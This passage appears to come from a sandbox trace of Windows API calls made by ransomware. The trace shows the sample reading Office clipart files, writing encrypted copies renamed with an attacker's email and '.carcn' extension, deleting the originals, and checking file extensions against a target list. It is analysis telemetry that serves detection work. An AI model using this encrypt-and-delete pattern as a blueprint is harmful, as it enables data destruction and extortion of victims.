[0292.911] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1500, lpOverlapped=0x0) returned 1 [0292.912] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.913] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.913] SetEndOfFile (hFile=0x378) returned 1 [0292.913] CloseHandle (hObject=0x378) returned 1 [0292.913] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.913] SetEndOfFile (hFile=0x374) returned 1 [0292.914] CloseHandle (hObject=0x374) returned 1 [0292.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0292.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.915] lstrlenW (lpString=".doc") returned 4 [0292.915] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.915] lstrlenW (lpString=".docx") returned 5 [0292.915] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.915] lstrlenW (lpString=".pdf") returned 4 [0292.915] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.915] lstrlenW (lpString=".xls") returned 4 [0292.915] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.915] lstrlenW (lpString=".xlsx") returned 5 [0292.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.915] lstrlenW (lpString=".ppt") returned 4 [0292.915] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString=".zip") returned 4 [0292.916] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.916] lstrlenW (lpString=".rar") returned 4 [0292.916] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.916] lstrlenW (lpString=".bz2") returned 4 [0292.916] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.916] lstrlenW (lpString=".7z") returned 3 [0292.916] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString=".dbf") returned 4 [0292.916] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString=".1cd") returned 4 [0292.916] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString=".jpg") returned 4 [0292.916] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.916] lstrlenW (lpString=".doc") returned 4 [0292.916] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.916] lstrlenW (lpString=".docx") returned 5 [0292.916] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.916] lstrlenW (lpString=".pdf") returned 4 [0292.916] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.916] lstrlenW (lpString=".xls") returned 4 [0292.916] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.916] lstrlenW (lpString=".xlsx") returned 5 [0292.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.916] lstrlenW (lpString=".ppt") returned 4 [0292.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.917] lstrlenW (lpString=".zip") returned 4 [0292.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.917] lstrlenW (lpString=".rar") returned 4 [0292.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.917] lstrlenW (lpString=".bz2") returned 4 [0292.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.917] lstrlenW (lpString=".7z") returned 3 [0292.917] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.917] lstrlenW (lpString=".dbf") returned 4 [0292.917] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.917] lstrlenW (lpString=".1cd") returned 4 [0292.917] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0292.917] lstrlenW (lpString=".jpg") returned 4 [0292.917] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.917] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.917] lstrlenW (lpString="AG00170_.GIF") returned 12 [0292.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.918] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9248) returned 1 [0292.918] CloseHandle (hObject=0x374) returned 1 [0292.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0292.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.918] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.918] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0292.919] GetLastError () returned 0x0 [0292.919] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2420, lpOverlapped=0x0) returned 1 [0292.920] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2430, lpOverlapped=0x0) returned 1 [0292.922] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.922] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.922] SetEndOfFile (hFile=0x378) returned 1 [0292.922] CloseHandle (hObject=0x378) returned 1 [0292.922] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.922] SetEndOfFile (hFile=0x374) returned 1 [0292.923] CloseHandle (hObject=0x374) returned 1 [0292.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0292.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.925] lstrlenW (lpString=".doc") returned 4 [0292.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.925] lstrlenW (lpString=".docx") returned 5 [0292.925] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.925] lstrlenW (lpString=".pdf") returned 4 [0292.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.925] lstrlenW (lpString=".xls") returned 4 [0292.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.925] lstrlenW (lpString=".xlsx") returned 5 [0292.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.925] lstrlenW (lpString=".ppt") returned 4 [0292.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.925] lstrlenW (lpString=".zip") returned 4 [0292.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.925] lstrlenW (lpString=".rar") returned 4 [0292.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.925] lstrlenW (lpString=".bz2") returned 4 [0292.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.925] lstrlenW (lpString=".7z") returned 3 [0292.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.925] lstrlenW (lpString=".dbf") returned 4 [0292.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.925] lstrlenW (lpString=".1cd") returned 4 [0292.926] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.926] lstrlenW (lpString=".jpg") returned 4 [0292.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.926] lstrlenW (lpString=".doc") returned 4 [0292.926] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.926] lstrlenW (lpString=".docx") returned 5 [0292.926] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.926] lstrlenW (lpString=".pdf") returned 4 [0292.926] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString=".xls") returned 4 [0292.926] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString=".xlsx") returned 5 [0292.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.926] lstrlenW (lpString=".ppt") returned 4 [0292.926] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.926] lstrlenW (lpString=".zip") returned 4 [0292.926] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString=".rar") returned 4 [0292.926] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.926] lstrlenW (lpString=".bz2") returned 4 [0292.926] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.926] lstrlenW (lpString=".7z") returned 3 [0292.926] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.926] lstrlenW (lpString=".dbf") returned 4 [0292.927] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.927] lstrlenW (lpString=".1cd") returned 4 [0292.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0292.927] lstrlenW (lpString=".jpg") returned 4 [0292.927] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.927] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.927] lstrlenW (lpString="AG00171_.GIF") returned 12 [0292.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.927] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5016) returned 1 [0292.927] CloseHandle (hObject=0x374) returned 1 [0292.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0292.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0292.929] GetLastError () returned 0x0 [0292.929] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1398, lpOverlapped=0x0) returned 1 [0292.930] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0293.245] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.245] WriteFile (in: hFile=0x378, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.245] SetEndOfFile (hFile=0x378) returned 1 [0293.245] CloseHandle (hObject=0x378) returned 1 [0293.245] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.246] SetEndOfFile (hFile=0x374) returned 1 [0293.247] CloseHandle (hObject=0x374) returned 1 [0293.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0293.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.248] lstrlenW (lpString=".doc") returned 4 [0293.248] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.248] lstrlenW (lpString=".docx") returned 5 [0293.248] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.248] lstrlenW (lpString=".pdf") returned 4 [0293.248] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.248] lstrlenW (lpString=".xls") returned 4 [0293.248] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.248] lstrlenW (lpString=".xlsx") returned 5 [0293.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.248] lstrlenW (lpString=".ppt") returned 4 [0293.248] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString=".zip") returned 4 [0293.249] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.249] lstrlenW (lpString=".rar") returned 4 [0293.249] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.249] lstrlenW (lpString=".bz2") returned 4 [0293.249] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.249] lstrlenW (lpString=".7z") returned 3 [0293.249] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString=".dbf") returned 4 [0293.249] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString=".1cd") returned 4 [0293.249] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString=".jpg") returned 4 [0293.249] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.249] lstrlenW (lpString=".doc") returned 4 [0293.249] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.249] lstrlenW (lpString=".docx") returned 5 [0293.250] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.250] lstrlenW (lpString=".pdf") returned 4 [0293.250] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.250] lstrlenW (lpString=".xls") returned 4 [0293.250] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.250] lstrlenW (lpString=".xlsx") returned 5 [0293.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.250] lstrlenW (lpString=".ppt") returned 4 [0293.250] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.250] lstrlenW (lpString=".zip") returned 4 [0293.250] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.250] lstrlenW (lpString=".rar") returned 4 [0293.250] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.250] lstrlenW (lpString=".bz2") returned 4 [0293.250] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.250] lstrlenW (lpString=".7z") returned 3 [0293.250] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.250] lstrlenW (lpString=".dbf") returned 4 [0293.250] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.250] lstrlenW (lpString=".1cd") returned 4 [0293.250] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0293.251] lstrlenW (lpString=".jpg") returned 4 [0293.251] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.277] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0293.277] lstrlenW (lpString="AG00175_.GIF") returned 12 [0293.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.278] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3378) returned 1 [0293.278] CloseHandle (hObject=0x378) returned 1 [0293.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0293.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.324] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.324] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0293.745] GetLastError () returned 0x0 [0293.745] ReadFile (in: hFile=0x378, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xd32, lpOverlapped=0x0) returned 1 [0293.746] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xd40, lpOverlapped=0x0) returned 1 [0293.747] ReadFile (in: hFile=0x378, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.747] WriteFile (in: 